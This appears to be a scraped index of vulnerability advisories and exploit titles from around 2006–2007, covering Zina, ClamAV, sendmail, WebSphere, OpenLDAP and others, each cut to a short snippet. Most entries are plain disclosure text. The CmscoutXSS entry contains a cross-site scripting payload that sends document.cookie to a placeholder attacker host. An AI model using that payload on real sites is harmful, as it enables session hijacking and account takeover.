CVE-2007-0303

Multiple unspecified vulnerabilities in Zina 1.0rc1 and earlier have unknown impact and attack vectors related to "Potential security bugs."...

Design/Logic Flaw

Multiple unspecified vulnerabilities in Zina 1.0rc1 and earlier have unknown impact and attack vectors related to "Potential security bugs."...

CVE-2007-0303: Undefined Security Weakness

Multiple unspecified vulnerabilities in Zina 1.0rc1 and earlier have unknown impact and attack vectors related to "Potential security bugs."...

Multiple GnuPG potential vulnerabilities

Multiple potential buffer overflow and integer overflow with unknonwn exploitability...

Magic Photo Storage Website - '/user/add_news.php?_config[site_path]' Remote File Inclusion

source: https://www.securityfocus.com/bid/21965/info Magic Photo Storage Website is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying...

Host directory full disclosure and input error

Host directory is a product of scriptsfrenzy.com and alstrasoft.com I check lastest version and maybe infected lower versions. I contacted vendor 5 times in 2 months but not received any replies. - FullPath disclosure: http://site.ext/path/ANYINCORRECTLINK Warning:...

OpenLDAP 2.2.29 - Remote Denial of Service (Metasploit)

OpenLDAP 2.2.29 - Remote Denial of Service Metasploit vdopenldap.pm The exploit is a part of VulnDisco Pack - use only under the license agreement specified in LICENSE.txt in your VulnDisco distribution VULNDISCO LICENSE Purchaser buys VulnDisco Pack "the Pack" and receives the right to use it...

INCA IM-204 - Information Disclosure

source: https://www.securityfocus.com/bid/20696/info INCA IM-204 devices are prone to a remote information-disclosure vulnerability because the devices fail to properly sanitize user-supplied input. Exploiting this issue allows remote, unauthenticated attackers to gain access to potentially...

Debian DSA-947-2 : clamav - heap overflow

A heap overflow has been discovered in ClamAV, a virus scanner, which could allow an attacker to execute arbitrary code by sending a carefully crafted UPX-encoded executable to a system running ClamAV. In addition, other potential overflows have been corrected. Packages for the ARM architecture...

CVE-2006-4831: Undefined Security Weakness

Unspecified vulnerability in IP over DNS is now easy iodine before 0.3.2 has unknown impact and attack vectors, related to "potential security problems."...

005: SECURITY FIX: August 25, 2006

A potential denial of service problem has been found in sendmail. A message with really long header lines could trigger a use-after-free bug causing sendmail to crash. Apply by doing: cd /usr/src patch -p0 005sendmail3.patch And then rebuild and install sendmail: cd gnu/usr.sbin/sendmail make obj...

CVE-2006-4222

Multiple unspecified vulnerabilities in IBM WebSphere Application Server before 6.0.2.13 have unspecified vectors and impact, including 1 an "authority problem" in ThreadIdentitySupport as identified by PK25199, and "Potential security exposure" issues as identified by 2 PK22747, 3 PK24334, 4...

[SECURITY] [DSA 1149-1] New ncompress packages fix potential code execution

-------------------------------------------------------------------------- Debian Security Advisory DSA 1149-1 [email protected] http://www.debian.org/security/ Martin Schulze August 10th, 2006 http://www.debian.org/security/faq -...

JavaScript engine vulnerabilities — Mozilla

Continuing our security audit of the JavaScript engine, Mozilla developers found and fixed several potential vulnerabilities...

[SECURITY] [DSA 1124-1] New fbi packages fix potential deletion of user data

-------------------------------------------------------------------------- Debian Security Advisory DSA 1124-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff July 24th, 2006 http://www.debian.org/security/faq -...

[security bulletin] HPSBUX02090 SSRT051058 rev.2 - HP-UX Secure Shell Remote Denial of Service (DoS)

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 SUPPORT COMMUNICATION - SECURITY BULLETIN Document ID: c00589050 Version: 2 HPSBUX02090 SSRT051058 rev.2 - HP-UX Secure Shell Remote Denial of Service DoS NOTICE: The information in this Security Bulletin should be acted upon as soon as possible...

MDKSA-2006:090 : shadow-utils

A potential security problem was found in the useradd tool when it creates a new user's mailbox due to a missing argument to the open call, resulting in the first permissions of the file being some random garbage found on the stack, which could possibly be held open for reading or writing before...

ipswitchXSS.txt

WhatsUp is a tool from Ipswitch to monitor application and network, embedding a custom web server on port 8022. Description: This custom web server is prone to multiple flaws. -as authenticated user: src disclosure http://server:8022/NmConsole/Login.asp. there are many XSS flaws, as...

CmscoutXSS.txt

Cmscout window.navigate'http://www.evilhost.com/cookiestealer.php?c='+document.cookie we could obtain the admin's cookie. The inside of BBcode isn't filtered either. This goes for the forums too. Nomenumbra/0x4F4C...

[SA19686] Mac OS X Multiple Potential Vulnerabilities

TITLE: Mac OS X Multiple Potential Vulnerabilities SECUNIA ADVISORY ID: SA19686 VERIFY ADVISORY: http://secunia.com/advisories/19686/ CRITICAL: Highly critical IMPACT: DoS, System access WHERE: From remote OPERATING SYSTEM: Apple Macintosh OS X http://secunia.com/product/96/ DESCRIPTION: Tom Ferr...